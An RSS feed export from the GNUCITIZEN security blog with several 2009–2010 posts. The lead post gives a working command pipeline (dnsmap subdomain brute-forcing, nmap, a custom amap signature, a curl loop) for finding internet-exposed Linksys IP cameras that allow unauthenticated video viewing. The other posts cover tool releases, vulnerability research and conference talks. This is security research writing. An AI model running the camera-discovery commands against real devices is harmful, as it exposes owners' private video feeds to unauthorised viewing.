<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>GNUCITIZEN</title>
	
	<link>http://www.gnucitizen.org</link>
	<description>Information Security Think tank</description>
	<lastBuildDate>Tue, 09 Mar 2010 09:24:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/gnucitizen" /><feedburner:info uri="gnucitizen" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><image><link>http://www.gnucitizen.org</link><url>http://www.gnucitizen.org/images/gc-reflection-gnucitizen-inverted.png</url><title>GNUCITIZEN</title></image><item>
		<title>Hacking Linksys IP Cameras (pt 6)</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/I8vV1at9QvQ/</link>
		<comments>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-6/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 07:18:29 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[bruteforcing]]></category>
		<category><![CDATA[camera]]></category>
		<category><![CDATA[discovery]]></category>
		<category><![CDATA[dnsmap]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[subdomain]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3415</guid>
		<description><![CDATA[This article is a continuation of the following GNUCITIZEN articles: here, here, here, here and here.



As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. [...]]]></description>
			<content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">here</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">here</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">here</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/">here</a> and <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-5/">here</a>.</em></p>

<div class="screen"><a href="http://www.flickr.com/photos/tnarik/3404934682/"><img src="http://farm4.static.flickr.com/3601/3404934682_705fcbfa02.jpg" title="watch-spider"/></a></div>

<p>As we know, there are several ways one could go about <strong>hunting for IP cameras on the net</strong>. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. This method definitely works, but it can be very time consuming as it consists of <strong>scanning random IP addresses</strong> hoping that we&#8217;ll eventually come across the type of device we&#8217;re interested in.</p>

<p>The second method, which would be much faster in finding our target devices, would be to <strong>use a <a href="http://www.google.co.uk/search?ie=UTF-8&#038;q=inurl:/img/vr.htm">search engine</a> and query content that is unique to our target devices (e.g.: URLs, HTML title)</strong>. This method, popularized by <a href="http://www.hackersforcharity.org/ghdb/?function=summary&#038;cat=18">GHDB</a> is simple and effective. The only issue I find with this strategy is that many of these IP cameras found happen to respond very slowly. This is probably due to other curious individuals running the same searches and accessing the same cameras.</p>

<p>The third method which would allow you to find more &#8220;hidden&#8221; Linksys IP cameras (i.e.: not cached by search engines a.k.a. the <a href="http://www.ericdigests.org/2002-2/hidden.htm">hidden web</a>), would consist of <strong>bruteforcing subdomains within dynamic domain names (DDNS) used by our target device</strong>s (Linksys IP cameras in this case). For instance, the following are some of the dynamic domain names supported by the WVC54GCA and WVC80N Linksys IP camera models:</p>

<ul>
<li>linksys-cam.com</li>
<li>mylinksyscamera.com</li>
<li>mylinksyshome.com</li>
<li>mylinksyscam.com</li>
<li>mylinksysview.com</li>
<li>linksysremotecam.com</li>
<li>linksysremoteview.com</li>
<li>linksyshomemonitor.com</li>
</ul>

<h3>Camera discovery process through subdomain bruteforcing</h3>

<p>We first save the aforementioned domains in a file, <code>doms</code> in this case. Then we use <a href="http://code.google.com/p/dnsmap/">dnsmap</a> to bruteforce subdomains for each of the domains included in <code>doms</code>.</p>

<p>Using dnsmap&#8217;s built-in wordlist:</p>

<pre><code>$ for i in `cat doms`;do dnsmap $i -r ~/ -i 64.14.13.199,216.39.81.84&done;</code></pre>

<p>Using a user-supplied wordlist, <code>wordlist_TLAs.txt</code> in this case, which is a three-letter acronym wordlist included with dnsmap v0.30:</p>

<pre><code>$ for i in `cat doms`;do dnsmap $i -w wordlist_TLAs.txt -r ~/ -i 64.14.13.199,216.39.81.84&done;</code></pre>

<p><em>Note: dnsmap&#8217;s &#8216;-i&#8217; option allows ignoring user-supplied IP addresses from the results. In this case, 64.14.13.199 and 216.39.81.84 belong to the <a href="http://www.tzo.com/">DDNS service provider</a>, and would therefore be regarded as false positives in this case (we&#8217;re only interested in IP cameras setup by their respective owners after all).</em> For more info on how to use dnsmap, checkout the <a href="http://code.google.com/p/dnsmap/source/browse/trunk/README.txt">README</a> file.</p>

<p>We then parse the IP addresses of the subdomains discovered by dnsmap:</p>

<pre><code>$ grep \# dnsmap*.txt | awk '{print $4}' | sort | uniq > ips.txt</code></pre>

<p>Next, we scan for ports that could potentially be used by a Linksys IP camera web server. In this case, we choose TCP ports 80, 1024 and 1025 as candidates:</p>

<pre><code>$ sudo nmap -v -T4 -n -P0 -sS -p80,1024,1025 -iL ips.txt -oA nmap_http_ports.`date +%Y-%m-%d-%H%M%S`</pre></code>

<p>This leaves us with a lot of discovered services, but we don't quite yet know which of them correspond to actual Linksys IP cameras web interfaces. There are many ways to fingreprint the web server of a Linksys IP camera. In this case we chose to create our own <a href="http://freeworld.thc.org/thc-amap/">amap</a> response signature, and then scan the open ports with amap.</p>

<p>Before amap is capable of identifying our target Linksys IP cams, the following response signature needs to be added to <code>appdefs.resp</code>, and amap then needs to be recompiled. Otherwise amap won't take the new signature into account:</p>

<pre><code>http-linksys-cam::tcp::^HTTP/.*\nServer: thttpd/.*Accept-Ranges: bytes.*WVC</code></pre>

<p>Please note that <em>the previous amap response signature was only tested against the WVC54GCA and WVC80N Linksys IP camera models.</em> So I'm not sure if it will work against other models. You've been warned!</p>

<p>Once recompiled, amap can be used to identify Linksys IP cameras from nmap's open ports results. </p>

<pre><code>$ amap -i nmap_http_ports.2010-02-22-102001.gnmap -R -S -o amap_results.`date +%Y-%m-%d-%H%M%S`</code></pre>

<p>We finally parse the IP addresses and open ports for all discovered Linksys IP cameras:</p>

<pre><code>$ grep http-linksys-cam amap_results.2010-02-22-102253 | awk '{print $3}' | cut -d \/ -f1
x.x.167.245:1024
x.x.228.231:1025
x.x.228.231:80
x.x.64.22:80
x.x.206.70:1024
x.x.31.4:1024
x.x.164.28:1024
<em>[snip]</em></code></pre>

<p>At this point we have accomplished the task of creating a list of Linksys IP cameras without resorting to search engines or scanning random IP addresses. In order to discover more Linksys cameras, a more comprehensive wordlist would need to be used with dnsmap.</p>

<p>Of course, even further automation would be possible. For instance, an attacker may wish to programmatically identify which Linksys cameras from the previous list allowing video viewing to unauthenticated users:</p>

<pre><code>$ amapfile=amap_results.2010-02-22-102253;for i in `grep http-linksys-cam $amapfile | awk '{print $3}' | cut -d \/ -f1`;do url="http://$i/img/main.cgi?next_file=main.htm";if curl --connect-timeout 2 -s -I --url $url | grep ^"HTTP/1.1 501">/dev/null;then echo $url;fi;done;
x.x.206.70:1024/img/main.cgi?next_file=main.htm
x.x.105.221:1024/img/main.cgi?next_file=main.htm
x.x.105.221:80/img/main.cgi?next_file=main.htm
x.x.181.195:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1025/img/main.cgi?next_file=main.htm
x.x.30.196:1025/img/main.cgi?next_file=main.htm
<em>[snip]</em></code></pre>

<div class="screen"><a href="http://www.gnucitizen.org/wordpress/../static/blog/2010/02/Screenshot-Wireless-G-Internet-Home-Monitoring-Camera-Google-Chrome-copy1.png"><img src="http://www.gnucitizen.org/wordpress/../static/blog/2010/02/Screenshot-Wireless-G-Internet-Home-Monitoring-Camera-Google-Chrome-copy1-300x223.png" alt="" title="Screenshot-Wireless-G Internet Home Monitoring Camera - Google Chrome" width="300" height="223" class="alignnone size-medium wp-image-3493" /></a></div>

<p>In addition to automatically checking for anonymous video viewing on all cameras found, other tasks such as checking for default credentials (<code>admin</code>/<code>admin</code>) could also be scripted, although this will NOT be included in this post (or any other at GNUCITIZEN).</p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/I8vV1at9QvQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-6/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-6/</feedburner:origLink></item>
		<item>
		<title>dnsmap v0.30 is now out!</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/jfQ27_LNXEw/</link>
		<comments>http://www.gnucitizen.org/blog/dnsmap-v030-is-now-out/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 21:08:48 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[bruteforcing]]></category>
		<category><![CDATA[dnsmap]]></category>
		<category><![CDATA[enumeration]]></category>
		<category><![CDATA[subdmain]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3381</guid>
		<description><![CDATA[After working on dnsmap for a few months whenever time allowed, I decided there were enough additional goodies to make version 0.30 a new public release.



Let me just say that a lot of the bugs that have been fixed, and features that have been added to this version would not be possible without the feedback from great folks such as Borys Lacki (www.bothunters.pl), Philipp Winter (7c0.org) and meathive (kinqpinz.info).

Thanks guys, your feedback was highly valuable to me. [...]]]></description>
			<content:encoded><![CDATA[<p>After working on <a href="http://dnsmap.googlecode.com/">dnsmap</a> for a few months whenever time allowed, I decided there were enough additional goodies to make <strong>version 0.30</strong> a new public release.</p>

<div class="screen"><a href="http://www.flickr.com/photos/photonquantique/2774413708/"><img src="http://farm4.static.flickr.com/3172/2774413708_a30f015327.jpg" title="PhotonQ-Le GrANT bleu"/></a></div>

<p>Let me just say that a lot of the bugs that have been fixed, and features that have been added to this version would not be possible without the feedback from great folks such as Borys Lacki (www.bothunters.pl), Philipp Winter (7c0.org) and meathive (kinqpinz.info).</p>

<p><strong>Thanks</strong> guys, your feedback was highly valuable to me.</p>

<h3>new features</h3>

<p>Anyways, the following are some of the new features included:</p>

<ul>
<li>IPv6 support</li>
<li>Makefile included</li>
<li>delay option (-d) added. This is useful in cases where dnsmap is killing your bandwidth</li>
<li>ignore IPs option (-i) added. This allows ignoring user-supplied IPs from the results. Useful for domains which cause dnsmap to produce false positives</li>
<li>changes made to make dnsmap compatible with OpenDNS</li>
<li>disclosure of internal IP addresses (RFC 1918) are reported</li>
<li>updated built-in wordlist</li>
<li>included a standalone three-letter acronym (TLA) subdomains wordlist</li>
<li>domains susceptible to <a href="http://snipurl.com/etbcv">&#8220;same site&#8221; scripting</a> are reported</li>
<li>completion time is now displayed to the user</li>
<li>mechanism to attempt to bruteforce wildcard-enabled domains</li>
<li>unique filename containing timestamp is now created when no specific output filename is supplied by user</li>
<li>various minor bugs fixed</li>
</ul>

<p>For those who have never used dnsmap, dnsmap is a command line tool originally released in 2006 which helps discover target subdomains and IP ranges during the initial stages of an infrastructure pentest. dnsmap is a passive(ish) discovery tool meant to be used before an actual active attack. It&#8217;s an alternative to other discovery techniques such as whois lookups, scanning large IP ranges, etc &#8230; Run dnsmap and you should be able spot netblocks of a target organization in a relatively short period of time.</p>

<p>dnsmap is open source and is known to work on Linux, FreeBSD and Windows using Cygwin, although it has mostly been tested on Linux.</p>

<p>The major drawback is lack of multi-threading support, which I&#8217;m hoping will be included in the next public release. Life is busy these days, but I&#8217;ll try to spend some time on this project when time allows and inspiration is available!</p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/jfQ27_LNXEw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/dnsmap-v030-is-now-out/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/dnsmap-v030-is-now-out/</feedburner:origLink></item>
		<item>
		<title>Old-school Remote Command Exec Vulnerabilities on Avaya Intuity</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/N2mMnIALMMg/</link>
		<comments>http://www.gnucitizen.org/blog/old-school-remote-command-execution-vulnerabilities-on-avaya-intuity-audix-lx/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 08:32:47 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[avaya]]></category>
		<category><![CDATA[command execution]]></category>
		<category><![CDATA[intuity]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3316</guid>
		<description><![CDATA[This post is gonna be a quick one, since it&#8217;s nothing more than the result of me tiding up my pendrive files.

Remember those old remote command exec vulns where you had a CGI script such as a perl program which would take input from the client to construct command strings that would then be passed to the shell environment? Well, there were tons of those affecting diagnostic scripts available on the web interface of Avaya Intuity Audix LX. [...]]]></description>
			<content:encoded><![CDATA[<p>This post is gonna be a quick one, since it&#8217;s nothing more than the result of me tiding up my pendrive files.</p>

<p>Remember those old remote command exec vulns where you had a CGI script such as a perl program which would take input from the client to construct command strings that would then be passed to the shell environment? Well, there were tons of those affecting diagnostic scripts available on the web interface of Avaya Intuity Audix LX.</p>

<div class="screen"><a href="http://www.flickr.com/photos/zacharyparadis/3896632379/"><img src="http://farm3.static.flickr.com/2433/3896632379_5344aa2771.jpg" title="well-executed tag"/></a></div>

<p>I successfully tested them on version 1.1, and according to Avaya this is the latest vulnerable version (version 2.0 is <em>NOT</em> affected apparently).</p>

<p>These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. That being said, it could be handy for bypassing restricting imposed by the web GUI and eventually escalate privileges.</p>

<p>Apart from that, there were also the usual client-side bugs such as XSS and CSRF which are usually expected of an appliance with a web interface.</p>

<p><em>Details can be found on the attached <a href="http://www.gnucitizen.org/static/blog/2009/09/Avaya_Intuity_Remote_Command_Execution.pdf">PDF document</a>.</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/N2mMnIALMMg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/old-school-remote-command-execution-vulnerabilities-on-avaya-intuity-audix-lx/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/old-school-remote-command-execution-vulnerabilities-on-avaya-intuity-audix-lx/</feedburner:origLink></item>
		<item>
		<title>Skydive</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/uiN_CvNhlow/</link>
		<comments>http://www.gnucitizen.org/blog/skydive/#comments</comments>
		<pubDate>Mon, 07 Sep 2009 19:12:26 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[freefall]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[skydive]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3349</guid>
		<description><![CDATA[What is the best way to spend a quiet, weekend afternoon? &#8211; Jump off a perfectly working plane while 10,000 feet in the air.



On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a skydiving gig. [...]]]></description>
			<content:encoded><![CDATA[<p><q>What is the best way to spend a quiet, weekend afternoon?</q> &#8211; Jump off a perfectly working plane while 10,000 feet in the air.</p>

<div class="screen"><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/dw2SnTcbTKA&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/dw2SnTcbTKA&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></div>

<p>On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a <a href="http://www.gnucitizen.net/cmpgn/skydive">skydiving gig</a>. It has been two months since that day but memories are still as clear as yesterday.</p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/uiN_CvNhlow" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/skydive/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/skydive/</feedburner:origLink></item>
		<item>
		<title>Free Web Application Security Testing Tool</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/YE55z5NLzgE/</link>
		<comments>http://www.gnucitizen.org/blog/free-web-application-security-testing-tool/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 08:02:38 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[security scanner]]></category>
		<category><![CDATA[web application]]></category>
		<category><![CDATA[web application security scanner]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3332</guid>
		<description><![CDATA[Automated Web Application Security Testing tools are in the core of modern penetrating testing practices. You cannot rely 100% on the results they produce, without considering seriously their limitations. However, because these tools are so good at picking the low-hanging fruit by employing force and repetition, they still have a place in our arsenal of penetrating testing equipment.



These tools are not unfamiliar to modern day penetration testers. [...]]]></description>
			<content:encoded><![CDATA[<p>Automated Web Application Security Testing tools are in the core of modern penetrating testing practices. You cannot rely 100% on the results they produce, without considering seriously their limitations. However, because these tools are so good at picking the low-hanging fruit by employing force and repetition, they still have a place in our arsenal of penetrating testing equipment.</p>

<div class="screen"><a href="http://www.flickr.com/photos/gi/121409547/"><img src="http://farm1.static.flickr.com/47/121409547_e33344f47c.jpg" alt="free" /></a></div>

<p>These tools are not unfamiliar to modern day penetration testers. In fact, there are plenty of them to choose from, ranging from low-grade command line utilities to high-end frameworks. There are plenty of commercial tools as well some of which are a lot better, in terms of features and false-positives rate, when compared to open source alternatives. People often choose what they are more familiar with. I prefer to use tools that are right for the job without discriminating a particular operating system, platform, and style.</p>

<p>Without further ado, I would like to introduce you yet another tool to compete in the market of automated web application security scanners (not only), released as part of our own <a href="http://www.websecurify.com">Websecurify</a> initiative. The tools is called Websecurify (big surprise) and it is written on the top of common web technologies, which provide significant benefit over other technologies used in open source and commercial alternative products.</p>

<p>Here are some of the key features of Websecurify:</p>

<ol>
<li>It is 100% open source, GPL, CC product, ready to benefit the open source movement</li>
<li>The engine employs technologies, such as Web Workers, from the latest HTML5 specs</li>
<li>Most of the code is written in JavaScript but many parts can be rewritten or extended with Python, Java and C</li>
<li>The core engine can be taken out from the binary bundles and used as part of self-defending web applications. I will talk about this soon.</li>
<li>The testing and reporting mechanisms are asynchronous. This means that the report is cooking while the test is performed. It also means that decisions are taken immediately, i.e. they are not scheduled.</li>
<li>The tool is cross-platformed thanks to xulrunner</li>
<li>Everything is written with extensibility in mind</li>
<li>It can be extended in pretty much the same way you can extend Firefox and Thunderbird</li>
</ol>

<p>There are many other features, which I am going to talk about soon.</p>

<p>At the moment the tool is only available as a MacOS DMG package and source code. The Windows and Linux versions will be released soon. In the future we are planning release all platform specific packages at the same time. Now is just an exception as we are mostly interested to get an early feedback. I am sure that that there will be a lot of bugs to fix and features to add/improve before we reach version 1.0.</p>

<p>Version 0.2 can be downloaded from <a href="http://www.websecurify.com">www.websecurify.com</a> or our <a href="http://code.google.com/p/websecurify/">source code repository</a>.</p>

<p><em>If you have any feedback or you would like to contribute to this project, please do let us know. We can use any help possible.</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/YE55z5NLzgE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/free-web-application-security-testing-tool/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/free-web-application-security-testing-tool/</feedburner:origLink></item>
		<item>
		<title>Of Sec Cons and Magstripe Gift Cards</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/yiuUen9-FhI/</link>
		<comments>http://www.gnucitizen.org/blog/of-sec-cons-and-magstripe-gift-cards/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 09:53:54 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[conferences]]></category>
		<category><![CDATA[CONFidence]]></category>
		<category><![CDATA[eusecwest]]></category>
		<category><![CDATA[gift card]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[krakow]]></category>
		<category><![CDATA[london]]></category>
		<category><![CDATA[magstripe]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[secwest]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3280</guid>
		<description><![CDATA[I&#8217;ve been meaning to talk about CONFidence and EUSecWest for quite a while, but May was such an intense month for me, that&#8217;s hardly left me with any time for other things. I eventually got caught up with other matters, which resulted in me publishing this post about 2 months late.



I&#8217;ve been researching, pentesting, and preparing two different presentations which I gave at CONFidence in Krakow, and EUSecWest in London.

pdp has also been busy presenting at AusCERT2009. [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been meaning to talk about <a href="http://2009.confidence.org.pl/lang-pref/en/">CONFidence</a> and <a href="http://eusecwest.com/">EUSecWest</a> for quite a while, but May was such an intense month for me, that&#8217;s hardly left me with any time for other things. I eventually got caught up with other matters, which resulted in me publishing this post about 2 months late.</p>

<div class="screen"><a href="http://www.flickr.com/photos/darwinbell/2533404242/"><img src="http://farm4.static.flickr.com/3295/2533404242_f9938ca417.jpg" title="Break in emergency"/></a></div>

<p>I&#8217;ve been researching, pentesting, and preparing two different presentations which I gave at <a href="http://2009.confidence.org.pl/prelegenci/adrian-pastor">CONFidence</a> in Krakow, and <a href="http://eusecwest.com/agenda.html">EUSecWest</a> in London.</p>

<p>pdp has also been busy presenting at <a href="http://conference.auscert.org.au/conf2009/presenter.php?presenter_id=P_P">AusCERT2009</a>. In his &#8220;Weaponry 2.0&#8243;, pdp talked about current challenges experienced by pentesters, shared some of his experiments (i.e.: using QEMU) and introduced his <a href="http://www.gnucitizen.org/blog/jeriko-group-and-source-code-repository/">Jeriko</a> pentesting environment (NOT framework!).</p>

<p>My CONFidence presentation was on PCI DSS, and credit card theft from a pentester&#8217;s perspective. I attempted to explain why it&#8217;s possible for unsophisticated criminals to compromise credit card data. I also shared my frustrations with the PCI DSS standards, including some of its current weaknesses.</p>

<p>On the other hand, my EUSecWest presentation was on attacking magstripes gift cards, which apppear to be on the rise in the UK. The core of the research is about <em>cloning (activated) gift cards without physically swiping the magnetic stripes.</em> Trust me when I say that there is a lot of truth on <a href="http://twitter.com/dragosr/status/1949951235">Drago&#8217;s</a> tweet regarding this research!</p>

<p>My EUSecWest slides have just been recently <a href="http://research.corsaire.com/presentations/">published</a>. More details will soon be available on a white paper which will be available on <a href="http://research.corsaire.com/">Corsaire Research</a> website.</p>

<h3>Thanks</h3>

<p>I&#8217;d like to thank the organizers of these two great conferences, namely Andrzej Targosz from CONFidence and <a href="http://twitter.com/dragosr">Dragos Ruiu</a> from EUSecWest (plus their respective crews of course).</p>

<p>Also, special thanks to <a href="http://www.corsaire.com/">Corsaire</a> who sponsored the time needed to prepare my presentation. I originally started my magstripe gift cards research about 3 years ago, but left it unattended for so long. If it wasn&#8217;t for Corsaire, this research wouldn&#8217;t have been resumed.</p>

